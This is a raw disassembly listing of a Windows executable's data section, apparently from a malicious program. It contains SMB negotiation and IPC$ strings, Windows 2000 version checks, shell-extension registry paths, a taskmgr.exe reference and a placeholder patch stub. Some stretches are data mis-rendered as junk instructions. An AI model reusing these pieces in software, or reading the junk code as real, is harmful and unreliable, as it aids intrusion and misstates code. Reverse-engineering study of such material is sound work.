		db 2 dup(0)
word_41B7DA	dw 0			; DATA XREF: sub_409C10+E9o
					; sub_409C10+115o ...
		align 10h
		dd offset aWins+1
		align 8
		dd offset aAspnet	; "ASPNET"
		dd offset aWins+1
		dd 0
		dd offset asc_419EE4	; "$"
		dd 1, 2, 419DE0h, 3 dup(0)
		dd 0A8h, 1Fh dup(0)
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd 2 dup(0)
		dd 0C0h, 46000000h, 0
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd offset loc_40D31F+1
		dd 10Ch, 0
		dd 0C0h, 46000000h, 40D210h, 40D290h, 40D2C0h, 40D350h
		dd 40D3D0h, 1, 0
		dd 0C0h, 46000000h, 3 dup(0)
		dd 49534C43h, 73255C44h, 534C4300h, 255C4449h, 6E495C73h
		dd 636F7270h, 76726553h, 32337265h, 732500h, 255C7325h
		dd 5C2A0073h, 6C656873h, 5C78656Ch, 746E6F43h, 4D747865h
		dd 48756E65h, 6C646E61h, 5C737265h, 25007325h, 68735C73h
		dd 656C6C65h, 73250078h, 6568735Ch, 78656C6Ch, 6F63495Ch
		dd 6E61486Eh, 72656C64h, 735C2A00h, 6C6C6568h, 435C7865h
		dd 65746E6Fh, 654D7478h, 6148756Eh, 656C646Eh, 255C7372h
		dd 73h,	6F620000h, 43006874h, 4449534Ch, 72754300h, 726556h
		dd 65726854h, 6E696461h, 646F4D67h, 53006C65h, 6C6C6568h
		dd 2E6C6C44h, 68530031h, 446C6C65h, 43006C6Ch, 62696C6Fh
		dd 726F6620h, 7A616C20h, 75672079h, 8E007379h, 9200419Fh
		dd 9700419Fh, 9D00419Fh, 0A400419Fh, 0B300419Fh, 0BE00419Fh
		dd 0C700419Fh, 100419Fh, 6 dup(1010101h), 0C0101h, 0
		dd 9F008000h, 0A2C40041h, 2 dup(9FDB0041h), 0A1C50041h
		dd 41h,	9F098000h, 0A2C40041h, 2 dup(9FDB0041h), 0A2C00041h
		dd 41h,	9F098000h, 0A2C40041h, 9FDB0041h, 9FEB0041h, 9FDF0041h
		dd 41h,	9F218000h, 9FEF0041h, 2	dup(9FDB0041h),	9FF70041h
		dd 41h,	9F248000h, 9FEF0041h, 9FE30041h, 9FDB0041h, 0A2C40041h
		dd 41h
dword_41BA94	dd 9F218000h						; sub_403B90+65r
dword_41BA98	dd 9FF30041h						; sub_403B90+A2r
dword_41BA9C	dd 9FDB0041h						; sub_403B90+7Dr
dword_41BAA0	dd 9FDB0041h, 9FF70041h, 41h, 9F248000h, 9FF30041h, 9FE70041h
					; DATA XREF: sub_4099E5+Eo
		dd 9FDB0041h, 9FEF0041h, 41h, 9F2A8000h, 0A1C50041h, 2 dup(9FDB0041h)
		dd 0A2C40041h, 41h, 9F4B8000h, 0A1B90041h, 3 dup(9FDB0041h)
		dd 41h,	9F568000h, 0A1B90041h, 2 dup(9FDB0041h), 0A2C40041h
		dd 41h,	9F218000h, 0A1B50041h, 2 dup(9FDB0041h), 0A1B90041h
		dd 41h,	9F218000h, 0A1B90041h, 2 dup(9FDB0041h), 0A1C10041h
		dd 10041h, 0A1950000h, 0A2300041h, 41h,	4 dup(0)
		dd 642E0000h, 64006C6Ch, 69466C6Ch, 4700656Ch
dword_41BB68	dd 61504B54h						; sub_409C10+2Br
dword_41BB6C	dd 41006567h, 63696C70h, 6F697461h, 7845206Eh, 736E6574h
					; DATA XREF: sub_409C10+22o
		dd 206E6F69h, 657A6953h, 6C6C4400h, 62694C20h, 79726172h
		dd 8 dup(0)
		dd 41A15A00h, 41A15F00h, 41A16700h, 41A16F00h, 41A18900h
		dd 2 dup(0)
		dd offset dword_41A2C8+38h
		align 8
		dd offset aAspnet	; "ASPNET"
		dd offset dword_41A3B4+0Ch
		dd 0
		dd offset dword_41A3B4+1Ch
		dd offset dword_41A2C8+38h
		align 10h
		dd offset dword_41A2C8+48h
		dd offset dword_41A2C8+58h
		dd 0
		dd offset dword_41A2C8+70h
		dd offset dword_41A374+1Ch
dword_41BC04	dd 0							; rdata:00403777o ...
off_41BC08	dd offset dword_41A3A4	; DATA XREF: rdata:loc_403959r
					; sub_403970+2Bw
off_41BC0C	dd offset dword_41A3F0	; DATA XREF: sub_403970:loc_403993w
		dd 0
off_41BC14	dd offset dword_41A400	; DATA XREF: rdata:00403910w
off_41BC18	dd offset aSw0cp8xucxxq6y+20h ;	DATA XREF: sub_403970:loc_4039B6w
					; sub_403970:loc_4039BEw
dword_41BC1C	dd 0		off_41BC20	dd offset aSw0cp8xucxxq6y+38h ;	DATA XREF: rdata:004038FDw
					; sub_403970+59r ...
off_41BC24	dd offset dword_41A350	; DATA XREF: sub_4099E5+35w
					; sub_4099E5+43r
		dd 0
off_41BC2C	dd offset dword_41A374	; DATA XREF: rdata:004037F4w
					; sub_403970:loc_403982r
		dd 0
dword_41BC34	dd 8							; rdata:004034E0w ...
off_41BC38	dd offset dword_41A1D0	; DATA XREF: sub_403400+23r
					; rdata:004034D3o ...
off_41BC3C	dd offset loc_40D3EE+2	; DATA XREF: rdata:0040394Cr
					; sub_4099E5+E2r
off_41BC40	dd offset loc_40D406+4	; DATA XREF: sub_404CC5+9Bw
					; sub_404CC5+AFo
		align 8
dword_41BC48	dd 0F4h		dword_41BC4C	dd 0		dword_41BC50	dd 0		dword_41BC54	dd 0		dword_41BC58	dd 0		dword_41BC5C	dd 0				dd 0Ch dup(0)
dword_41BC90	dd 0							; rdata:loc_4053D7r ...
dword_41BC94	dd 0							; rdata:00405352r ...
dword_41BC98	dd 0							; rdata:00405364r
dword_41BC9C	dd 0							; rdata:0040536Ar
dword_41BCA0	dd 0							; rdata:004053ECr ...
dword_41BCA4	dd 0							; rdata:00405358r
dword_41BCA8	dd 0		dword_41BCAC	dd 0		dword_41BCB0	dd 0		dword_41BCB4	dd 0		dword_41BCB8	dd 0		dword_41BCBC	dd 0				dd offset dword_41BEE0
		dd offset off_41BFE4
a08lx04x04x02x0	db '{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}',0
		dd offset word_41A01A
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd offset loc_40D58E+2
		dd 214E8h, 0
		dd 0C0h, 46000000h, 40D210h, 40D290h, 40D2C0h, 40D639h
		dd 40D603h, 40D5D0h, 214E4h, 0
		dd 0C0h, 46000000h, 4Eh, 0
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd offset loc_40D31F+1
		dd offset loc_40D680
		dd offset loc_40D68A+2
		dd offset loc_40D695
		dd offset loc_40D6A1
		dd offset loc_40D6AC+1
		dd 10Bh, 0
		dd 0C0h, 46000000h, 3 dup(0)
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd offset loc_40D6E1+2
		dd offset loc_40D6BC+4
; ---------------------------------------------------------------------------
		jmp	short near ptr word_41BDBA
; ---------------------------------------------------------------------------
		dw 2
		dd 0
		dd 0C0h, 46000000h, 986h
		db 2 dup(0)
word_41BDBA	dw 0			; CODE XREF: .data:0041BDA4j
		align 10h
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd offset loc_40D6F0
		dd 214EFh, 0
		dd 0C0h, 46000000h, 299Eh, 3 dup(0)
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd offset loc_40D71E+2
		dd 214F5h, 0
		dd 0C0h, 46000000h, 6B736174h, 2E67726Dh, 657865h, 5 dup(0)
		dd offset loc_40D20B+5
		dd offset loc_40D28C+4
		dd offset loc_40D2BF+1
		dd offset loc_40D777+9
		dd offset loc_40D7A9+3
		dd offset loc_40D7BC
		dd 0C6C4200h, 11D0C589h, 0C0009A99h, 0E155D64Fh, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+24h], 12345678h
		mov	eax, [esp+24h]
		mov	dword ptr [eax], 12345678h
		xor	dword ptr [eax], 12345678h
		mov	eax, [esp+24h]
		add	dword ptr [eax], 12345678h
		xor	dword ptr [eax], 12345678h
		xor	edx, edx
		mov	dl, 4
		add	[esp+18h], edx
		push	12345678h
		retn
; ---------------------------------------------------------------------------
		dw 7C8Bh
		dd 78B81424h, 0AB123456h, 14247C8Bh, 34567868h,	0A5F48B12h
		dd 247C8B58h, 78088114h, 0C0123456h, 0B1C944B0h, 54B2D24Ch
		dd 445CB3DBh, 14C3000h,	32025431h, 7433035Ch
dword_41BED0	dd 57C3604h						; rdata:loc_40F6E7w ...
		dd 37h,	2 dup(0)
dword_41BEE0	dd 52h,	40h, 0			dd 34h,	2 dup(0)
		dd 62h,	6 dup(0)
		dd 52h,	40h, 0
		dd 65470198h, 6F725074h, 64644163h, 73736572h, 2480000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 454B0000h, 4C454E52h
		dd 642E3233h, 6C6Ch, 70h, 3 dup(0)
		dd 21C6Ah, 41F6Fh, 41FE8h, 420FFh, 520FFh, 606C7h, 6082Ah
		dd 60856h, 0A1F6Fh, 0A1FE8h, 0A20FFh, 0A225Fh, 0A2306h
		dd 0B1F6Fh, 0B2306h, 0C1C7Bh, 0E1C83h, 0F0C05h,	1220FCh
		dd 131F62h, 131F8Eh, 131FBCh, 132359h, 192353h,	1923FAh
		dd 1C23DAh, 1C24FAh, 1D24FAh, 23209Eh, 2723CAh,	2A2263h
		dd 3D23FAh, 3D24FAh
off_41BFE4	dd offset loc_4023F9+1	; DATA XREF: .data:0041BCC4o
		dd offset loc_4024F9+1
		dd 452397h, 5A0C05h, 5C0C05h, 5D0813h, 5D0883h,	5D0C05h
		dd 5F088Eh, 5F0C05h, 5F0D0Fh, 5F0D15h, 600C05h,	600C7Ah
		dd 600C84h, 600D0Fh, 600D15h, 690813h, 7B7920h,	7B9D76h
		dd 7B9DEAh, 7C9FC8h, 0
		dd 8080800h, 7080810h, 3020100h, 6070605h
dword_41C050	dd 4020100h						; rdata:0040FC0Cw ...
		dd 70605h, 28181008h, 203830h
dword_41C060	dd 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
					; DATA XREF: sub_412700+6o
					; sub_412700+3Ao ...
		dd 18171615h
dword_41C078	dd 1C1B1A19h						; sub_41274B:loc_41278Ar ...
		dd 471F1E1Dh, 4F0041A6h, 560041A6h, 5E0041A6h, 5F0041A6h
		dd 2000000h, 101h, 0D0F700h, 10102h, 0D8F70000h, 1010300h
		dd 83000102h, 10300D8h,	10201h,	300C083h, 1020101h, 0E88300h
		dd 2010103h, 0E0C10001h, 1010300h, 0C1000102h, 10300E8h
		dd 10201h, 300C0C1h, 1020101h, 0C8C100h, 2010103h, 0D0C10001h
		dd 1010300h, 0C1000102h, 10300D0h, 10201h, 300E0C1h, 1020101h
		dd 0F8C100h, 1010005h, 0B80004h, 1010600h, 81000402h, 10600C0h
		dd 40201h, 600E881h, 4020101h, 0E08100h, 2010106h, 0C8810004h
		dd 1010600h, 81000402h,	10600F0h, 40201h, 600D881h, 4020101h
		dd 0C0F700h, 10001h, 910100h, 1020300h,	0F030000h, 203C0B6h
		dd 3000001h, 2C0BE0Fh, 101h, 0E0F700h, 10102h, 0E8F70000h
		dd 1020300h, 0F020103h,	204C0C1h, 2010301h, 4C0A40Fh, 1030102h
		dd 0C0AC0F02h, 2010106h, 808D0004h, 1010300h, 8D000102h
		dd 1020040h, 1,	200C08Bh, 101h,	0C00300h, 10102h, 0C02B0000h
		dd 1010200h, 33000000h,	10200C0h, 1, 200C00Bh, 101h, 0C02300h
		dd 10102h, 0C0850000h, 1020300h, 66000000h, 203C08Bh, 1
		dd 3C00366h, 102h, 0C02B6600h, 10203h, 33660000h, 10203C0h
		dd 66000000h, 203C00Bh,	1, 3C02366h, 102h, 0C0856600h
		dd 2 dup(0)
		dd 48000081h, 464B4320h, 454E4544h, 45444643h, 46434646h
		dd 46464547h, 43414343h, 2 dup(43414341h), 45200041h, 4550454Dh
		dd 45424544h, 4549454Dh, 46444650h, 43414345h, 2 dup(43414341h)
		dd 414141h, 2 dup(0)
aWindows2000219	db 'Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		align 4
aE		db '…',0
		align 4
		dd 20435002h, 5754454Eh, 204B524Fh, 474F5250h, 204D4152h
		dd 302E31h, 43494D02h, 4F534F52h, 4E205446h, 4F575445h
		dd 20534B52h, 33302E31h, 494D0200h, 534F5243h, 2054464Fh
		dd 5754454Eh, 534B524Fh, 302E3320h, 414C0200h, 4E414D4Eh
		dd 302E31h, 314D4C02h, 3058322Eh, 2003230h, 4D4E414Ch
		dd 2E324E41h, 4E020031h, 414C2054h, 4E414D4Eh, 302E3120h
		dd 544E0200h, 204D4C20h, 32312E30h, 0
aSmbserverIpc_0	db '\\*SMBSERVER\IPC$',0
		align 4
a?????		db '?????',0
		align 4
aS_2		db '\\%s',0
		align 4
		dd 2 dup(0)
		dd 5049505Ch, 4005C45h,	0EB8A885Dh, 9F11C91Ch, 2B0008E8h
		dd 2604810h, 3 dup(0)
		dd 21293139h, 1091119h,	222A323Ah, 20A121Ah, 232B333Bh
		dd 30B131Bh, 242C343Ch,	272F373Fh, 70F171Fh, 262E363Eh
		dd 60E161Eh, 252D353Dh,	50D151Dh, 40C141Ch, 180B110Eh
		dd 1C030501h, 0A15060Fh, 40C1317h, 710081Ah, 20D141Bh
		dd 251F3429h, 281E372Fh, 30212D33h, 3827312Ch, 2A2E3522h
		dd 201D2432h, 222A323Ah, 20A121Ah, 242C343Ch, 40C141Ch
		dd 262E363Eh, 60E161Eh,	28303840h, 8101820h, 21293139h
		dd 1091119h, 232B333Bh,	30B131Bh, 252D353Dh, 50D151Dh
		dd 272F373Fh, 70F171Fh,	3020120h, 5040504h, 9080706h, 0B0A0908h
		dd 0D0C0D0Ch, 11100F0Eh, 13121110h, 15141514h, 19181716h
		dd 1B1A1918h, 1D1C1D1Ch, 1201F1Eh, 15140710h, 111C0C1Dh
		dd 1A170F01h, 0A1F1205h, 0E180802h, 9031B20h, 61E0D13h
		dd 19040B16h, 10300828h, 20401838h, 0F2F0727h, 1F3F1737h
		dd 0E2E0626h, 1E3E1636h, 0D2D0525h, 1D3D1535h, 0C2C0424h
		dd 1C3C1434h, 0B2B0323h, 1B3B1333h, 0A2A0222h, 1A3A1232h
		dd 9290121h, 19391131h,	2020101h, 2020202h, 2020201h, 1020202h
		dd 10D040Eh, 80B0F02h, 0C060A03h, 7000905h, 4070F00h, 10D020Eh
		dd 0B0C060Ah, 8030509h,	80E0104h, 0B02060Dh, 7090C0Fh
		dd 50A03h, 2080C0Fh, 7010904h, 0E030B05h, 0D06000Ah, 0E08010Fh
		dd 4030B06h, 0D020709h,	0A05000Ch, 7040D03h, 0E08020Fh
		dd 0A01000Ch, 50B0906h,	0B070E00h, 10D040Ah, 60C0805h
		dd 0F020309h, 10A080Dh,	2040F03h, 0C07060Bh, 90E0500h
		dd 0E09000Ah, 50F0306h,	70C0D01h, 802040Bh, 900070Dh, 0A060403h
		dd 0E050802h, 10F0B0Ch,	904060Dh, 30F08h, 0C02010Bh, 70E0A05h
		dd 0D0A01h, 7080906h, 30E0F04h,	0C02050Bh, 30E0D07h, 0A090600h
		dd 5080201h, 0F040C0Bh,	50B080Dh, 3000F06h, 0C020704h
		dd 90E0A01h, 9060Ah, 0D070B0Ch,	0E03010Fh, 4080205h, 6000F03h
		dd 80D010Ah, 0B050409h,	0E02070Ch, 1040C02h, 60B0A07h
		dd 0F030508h, 90E000Dh,	0C020B0Eh, 10D0704h, 0A0F0005h
		dd 6080903h, 0B010204h,	8070D0Ah, 50C090Fh, 0E000306h
		dd 70C080Bh, 0D020E01h,	9000F06h, 305040Ah, 0F0A010Ch
		dd 8060209h, 4030D00h, 0B05070Eh, 2040F0Ah, 5090C07h, 0E0D0106h
		dd 8030B00h, 50F0E09h, 30C0802h, 0A040007h, 60B0D01h, 0C020304h
		dd 0A0F0509h, 7010E0Bh,	0D080006h, 0E020B04h, 0D08000Fh
		dd 7090C03h, 1060A05h, 70B000Dh, 0A010904h, 0C05030Eh
		dd 6080F02h, 0D0B0401h,	0E07030Ch, 8060F0Ah, 2090500h
		dd 80D0B06h, 70A0401h, 0F000509h, 0C03020Eh, 408020Dh
		dd 10B0F06h, 0E03090Ah,	70C0005h, 80D0F01h, 407030Ah, 0B06050Ch
		dd 2090E00h, 1040B07h, 20E0C09h, 0D0A0600h, 805030Fh, 70E0102h
		dd 0D080A04h, 90C0Fh, 0B060503h, 2153474Bh, 25242340h
		dd 4Ch dup(0)
		db    0
		db 10h,	2 dup(0)
		db 0FCh	; ü
		align 4
		db  1Fh
		db 30h,	25h, 30h
		db  85h	; …
		db 30h,	8Bh, 30h
		db  91h	; ‘
		db 30h,	0A7h, 30h
		db 0D4h	; Ô
		db 30h,	0E2h, 30h
		db 0E8h	; è
		db 30h,	3Ah, 31h
		db  40h	; @
		db 31h,	0A7h, 31h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 31h,	0EFh, 31h
		db 0F4h	; ô
		db 31h,	0FBh, 31h
		db    9
		db 32h,	10h, 32h
		db  28h	; (
		db 32h,	3Ch, 32h
		db  43h	; C
		db 32h,	57h, 32h
		db  67h	; g
		db 32h,	75h, 32h
		db 0FCh	; ü
		db 32h,	0Ch, 33h
		db  13h
		db 33h,	3Ch, 33h
		db  4Ch	; L
		db 33h,	53h, 33h
		db  5Eh	; ^
		db 33h,	67h, 33h
		db  78h	; x
		db 33h,	7Fh, 33h
		db  85h	; …
		db 33h,	0ABh, 33h
		db 0B7h	; ·
		db 33h,	0BEh, 33h
		db 0E3h	; ã
		db 33h,	0EAh, 33h
		db 0F6h	; ö
		db 33h,	4, 34h
		db  33h	; 3
		db 34h,	40h, 34h
		db  47h	; G
		db 34h,	56h, 34h
		db  6Eh	; n
		db 34h,	75h, 34h
		db  93h	; “
		db 34h,	0A0h, 34h
		db 0A7h	; §
		db 34h,	0B2h, 34h
		db 0BBh	; »
		db 34h,	0C7h, 34h
		db 0CEh	; Î
		db 34h,	0EEh, 34h
		db 0F3h	; ó
		db 34h,	0F9h, 34h
		db 0FEh	; þ
		db 34h,	8, 35h
		db  12h
		db 35h,	4Eh, 35h
		db  5Bh	; [
		db 35h,	84h, 35h
		db  94h	; ”
		db 35h,	9Dh, 35h
		db 0A6h	; ¦
		db 35h,	0B8h, 35h
		db 0C0h	; À
		db 35h,	0C5h, 35h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 35h,	0E6h, 35h
		db 0F6h	; ö
		db 35h,	65h, 36h
		db  7Dh	; }
		db 36h,	9Fh, 36h
		db 0E0h	; à
		db 36h,	0F3h, 36h
		db  2Bh	; +
		db 37h,	33h, 37h
		db  40h	; @
		db 37h,	46h, 37h
		db  4Ch	; L
		db 37h,	7Dh, 37h
		db  9Ah	; š
		db 37h,	0A6h, 37h
		db 0B1h	; ±
		db 37h,	0BEh, 37h
		db 0C9h	; É
		db 37h,	0D2h, 37h
		db 0DDh	; Ý
		db 37h,	0F7h, 37h
		db  0Fh
		db 38h,	34h, 38h
		db  55h	; U
		db 38h,	5Bh, 38h
		db  75h	; u
		db 38h,	7Bh, 38h
		db  9Dh	; 
		db 38h,	0A3h, 38h
		db 0D5h	; Õ
		db 38h,	0DBh, 38h
		db 0F8h	; ø
		db 38h,	0FEh, 38h
		db  25h	; %
		db 39h,	3Eh, 39h
		db  4Ch	; L
		db 39h,	65h, 39h
		db  74h	; t
		db 39h,	7Eh, 39h
		db  9Dh	; 
		db 39h,	0ABh, 39h
		db 0BEh	; ¾
		db 39h,	0D5h, 39h
		db  0Ah
		db 3Ah,	92h, 3Ah
		db 0FDh	; ý
		db 3Bh,	0EDh, 3Dh
		db  31h	; 1
		db 3Eh,	18h, 3Fh
		db  62h	; b
		db 3Fh,	0C1h, 3Fh
		db    0
		db 20h,	2 dup(0)
		db  78h	; x
		align 4
		db 0A9h	; ©
		db 30h,	1Dh, 31h
		db  25h	; %
		db 31h,	5Eh, 31h
		db 0DAh	; Ú
		db 31h,	3Dh, 32h
		db  5Eh	; ^
		db 32h,	0F7h, 32h
		db 0C8h	; È
		db 33h,	0E5h, 33h
		db    6
		db 36h,	6Ah, 36h
		db 0C9h	; É
		db 36h,	0DDh, 36h
		db  20h
		db 37h,	60h, 37h
		db  65h	; e
		db 37h,	7Fh, 37h
		db  84h	; „
		db 37h,	0D6h, 38h
		db  2Fh	; /
		db 39h,	37h, 39h
		db  3Dh	; =
		db 39h,	41h, 39h
		db  46h	; F
		db 39h,	4Ch, 39h
		db  52h	; R
		db 39h,	58h, 39h
		db  62h	; b
		db 39h,	6Ch, 39h
		db  75h	; u
		db 39h,	81h, 3Ch
		db  8Dh	; 
		db 3Ch,	9Ah, 3Ch
		db 0A8h	; ¨
		db 3Ch,	0E2h, 3Ch
		db 0DFh	; ß
		db 3Eh,	0E4h, 3Eh
		db    2
		db 3Fh,	0Ch, 3Fh
		db  16h
		db 3Fh,	34h, 3Fh
		db  4Bh	; K
		db 3Fh,	54h, 3Fh
		db  5Ah	; Z
		db 3Fh,	66h, 3Fh
		db  6Ch	; l
		db 3Fh,	71h, 3Fh
		db  7Eh	; ~
		db 3Fh,	8Ah, 3Fh
		db  8Fh	; 
		db 3Fh,	0D9h, 3Fh
		db 0E2h	; â
		db 3Fh,	0EEh, 3Fh
		db 0F9h	; ù
		db 3Fh,	2 dup(0)
		db    0
		db 30h,	2 dup(0)
		db  28h	; (
		align 4
a00a0s0e12u2u2k	db ':0\0a0˜0e1]2“2ž2ª2Þ2ë2',0Dh,'3X3h3–3',0
		align 4
		db    0
aP_0		db 'P',0
		align 10h
		db  1Ch
		align 4
		db  74h	; t
		db 37h,	79h, 37h
		db 0CAh	; Ê
		db 37h,	0E9h, 37h
		db    8
		db 38h,	0AAh, 38h
		db  26h	; &
		db 3Eh,	0B8h, 3Eh
		db 0E5h	; å
		db 3Eh,	1Eh, 3Fh
		db    0
		db 60h,	2 dup(0)
		db  88h	; ˆ
		align 10h
		db  4Dh	; M
		db 30h,	75h, 30h
		db  7Fh	; 
		db 30h,	38h, 31h
		db  40h	; @
		db 31h,	5Ch, 31h
		db 0F5h	; õ
		db 31h,	1Eh, 32h
		db  4Fh	; O
		db 32h,	0A6h, 32h
		db  22h	; "
		db 33h,	48h, 33h
		db  5Eh	; ^
		db 33h,	84h, 33h
		db    0
		db 34h,	23h, 34h
		db  3Ch	; <
		db 34h,	54h, 34h
		db  6Bh	; k
		db 34h,	83h, 34h
		db 0CEh	; Î
		db 34h,	0CFh, 35h
		db 0E4h	; ä
		db 35h,	5Ch, 36h
		db  71h	; q
		db 36h,	0E5h, 36h
		db 0F9h	; ù
		db 36h,	12h, 37h
		db 0D4h	; Ô
		db 39h,	0F9h, 39h
		db    3
		db 3Ah,	0Eh, 3Ah
		db  15h
		db 3Ah,	1Ah, 3Ah
		db  47h	; G
		db 3Ah,	86h, 3Ah
		db 0E3h	; ã
		db 3Ah,	38h, 3Bh
		db  64h	; d
		db 3Bh,	7Fh, 3Bh
		db 0A8h	; ¨
		db 3Bh,	0D1h, 3Bh
		db 0ECh	; ì
		db 3Bh,	20h, 3Ch
		db  63h	; c
		db 3Ch,	6Ah, 3Ch
		db  6Fh	; o
		db 3Ch,	9Ch, 3Ch
		db 0BDh	; ½
		db 3Ch,	1Ah, 3Dh
		db  75h	; u
		db 3Dh,	0A9h, 3Dh
		db 0EDh	; í
		db 3Dh,	0F2h, 3Dh
		db  3Ah	; :
		db 3Eh,	65h, 3Eh
		db  9Bh	; ›
		db 3Eh,	0F0h, 3Eh
		db  19h
		db 3Fh,	4Dh, 3Fh
		db  91h	; ‘
		db 3Fh,	96h, 3Fh
		db 0DEh	; Þ
		db 3Fh,	2 dup(0)
		db    0
		db 70h,	2 dup(0)
		db  6Ch	; l
		db 1, 2	dup(0)
		db    9
		db 30h,	3Fh, 30h
		db  94h	; ”
		db 30h,	0BDh, 30h
		db 0F1h	; ñ
		db 30h,	4Ch, 31h
		db  73h	; s
		db 31h,	7Eh, 31h
		db  8Ah	; Š
; ---------------------------------------------------------------------------
		xor	edx, ebx
		xor	edi, esi
		xor	dl, [eax+33h]
		pop	ebp
		xor	esp, [edx+33h]
		stosb
		xor	al, 0B4h
		xor	al, 0BEh
		xor	al, 0C8h
		xor	al, 0D2h
		xor	al, 0DCh
		xor	al, 0F4h
		xor	al, 0FDh
		xor	al, 1Eh
		xor	eax, 35303524h
		dec	ebp
		xor	eax, 35703559h
		jl	short loc_41CAB7
		xchg	eax, ebx
		xor	eax, 35BF35A8h
		retf
; ---------------------------------------------------------------------------
		db 35h,	0F4h, 35h
		dd 360D35F9h, 362A361Bh, 367B365Bh, 36B53695h, 36D436C9h
		dd 3824379Eh, 3833382Eh, 3842383Dh, 38FA38EFh, 390438FFh
		db 21h,	39h, 26h
; ---------------------------------------------------------------------------


loc_41CAB7:				; CODE XREF: .data:0041CA80j
		cmp	[ecx+edi], edi
		inc	ecx
		cmp	[eax+463A3939h], eax
		cmp	cl, [edi+3Ah]
		pop	edi
		cmp	ch, [esi+3Ah]
		jnb	short near ptr loc_41CB01+3
		cmp	byte ptr [edx],	87h
		cmp	dl, [esi-55C564C6h]
		cmp	dh, [eax-3CC546C6h]
		cmp	ah, [esi]
		cmp	esi, [edx+3Bh]
		cmp	dword ptr [ebx], 0FFFFFFF4h
		cmp	al, 0FAh
		cmp	al, 0
		cmp	eax, 3D0C3D06h
		adc	bh, ds:3D1E3D18h
		and	al, 3Dh
		sub	bh, ds:3D363D30h
		cmp	al, 3Dh
		inc	edx
		cmp	eax, 3D4E3D48h
		push	esp


loc_41CB01:				; CODE XREF: .data:0041CAC8j
		cmp	eax, 3D603D5Ah
		cmp	ax, 3D6Ch
		jb	short loc_41CB49
		js	short near ptr loc_41CB49+2
		jle	short near ptr loc_41CB4C+1
		test	ds:3D903D8Ah, bh
		xchg	eax, esi
		cmp	eax, 3DA23D9Ch
		test	al, 3Dh
		scasb
		cmp	eax, 3DBA3DB4h
		sar	byte ptr ds:3DCC3DC6h, 0D2h
		cmp	eax, 3DDE3DD8h
		in	al, 3Dh
		jmp	far ptr	0FC3Dh:0F63DF03Dh
; ---------------------------------------------------------------------------
		db 3Dh,	2, 3Eh
		dd 3E0E3E08h, 3E1A3E14h, 3E263E20h
		db 2Ch
; ---------------------------------------------------------------------------


loc_41CB49:				; CODE XREF: .data:0041CB0Aj
					; .data:0041CB0Cj
		db	3Eh
		xor	bh, [esi]


loc_41CB4C:				; CODE XREF: .data:0041CB0Ej
		cmp	[esi], bh
		db	3Eh, 3Eh
		inc	esp
		db	3Eh
		dec	edx
		db	3Eh
		push	eax
		db	3Eh
		push	esi
		db	3Eh
		pop	esp
		db	3Eh
		bound	edi, [esi]
		push	743E6E3Eh
		db	3Eh
		jp	short loc_41CBA2
		cmp	byte ptr [esi],	86h
; ---------------------------------------------------------------------------
		db 3Eh
		dd 3E923E8Ch, 3E9E3E98h, 3EAA3EA4h, 3EB63EB0h, 3EC23EBCh
		dd 3ECE3EC8h, 3EDA3ED4h, 3EE63EE0h, 3EF23EECh, 3EFE3EF8h
		dd 3F0A3F04h, 3F163F10h, 3F223F1Ch, 3F2E3F28h
; ---------------------------------------------------------------------------
		xor	al, 3Fh


loc_41CBA2:				; CODE XREF: .data:0041CB61j
		cmp	bh, [edi]
		inc	eax
		aas
		inc	esi
		aas
		dec	esp
		aas
; ---------------------------------------------------------------------------
		dw 0
		dd 8000h, 0B4h,	31993194h, 31C631C1h, 37CA3579h, 37D237CEh
		dd 37DA37D6h, 37E237DEh, 37EA37E6h, 37F237EEh, 37FA37F6h
		dd 380237FEh, 380A3806h, 3812380Eh, 381A3816h, 3822381Eh
		dd 382A3826h, 3832382Eh, 383A3836h, 3842383Eh, 384A3846h
		dd 3852384Eh, 385A3856h, 3862385Eh, 386A3866h, 3872386Eh
		dd 387A3876h, 3882387Eh, 388A3886h, 3892388Eh, 389A3896h
		dd 38A2389Eh, 38AA38A6h, 38B238AEh, 38BA38B6h, 38C238BEh
		dd 38CA38C6h, 38D238CEh, 38DA38D6h, 38E238DEh, 38EA38E6h
		dd 38F238EEh, 38FA38F6h, 390238FEh, 3D363906h, 9000h, 18h
		dd 3F0A3D5Fh, 3F523F2Eh, 3F9A3F76h, 3FE23FBEh, 0A000h
		dd 0E4h, 302A3006h, 305A303Ch, 307E306Ch, 30993085h, 30BD30ACh
		dd 30E430D1h, 315130F5h, 319F3178h, 31ED31C6h, 323B3214h
		dd 32893262h, 32C1329Fh, 32EC32D7h, 330732F3h, 3332331Dh
		dd 335C3346h, 340A3371h, 347C3461h, 34B5349Ah, 352134CAh
		dd 355A353Ch, 358A3575h, 35FC35E1h, 3635361Ah, 36A1364Ah
		dd 36DA36BCh, 370F36F5h, 37873779h, 37C037A2h, 37E937CEh
		dd 386837FEh, 38913876h, 38BD38AFh, 38ED38D8h, 39653957h
		dd 399E3980h, 39C739ACh, 3A4639DCh, 3A6F3A54h, 3A9B3A8Dh
		dd 3AD03AB6h, 3B3F3B1Dh, 3BCB3BBDh, 3C043BE6h, 3C2D3C12h
		dd 3C8F3C42h, 3D2E3CB1h, 3D573D3Ch, 3D833D75h, 3DB33D9Eh
		dd 3E223E00h, 3EAD3E9Fh, 3EE63EC8h, 3F243F0Fh, 3F933F71h
		dd 0B000h, 24h,	301F3011h, 3058303Ah, 30813066h, 3227316Ah
		dd 332432FFh, 336E3349h, 3379h,	0D000h,	70h, 315E3077h
		dd 333532E9h, 33DB336Ch, 343D33E3h, 34F334CCh, 3647356Fh
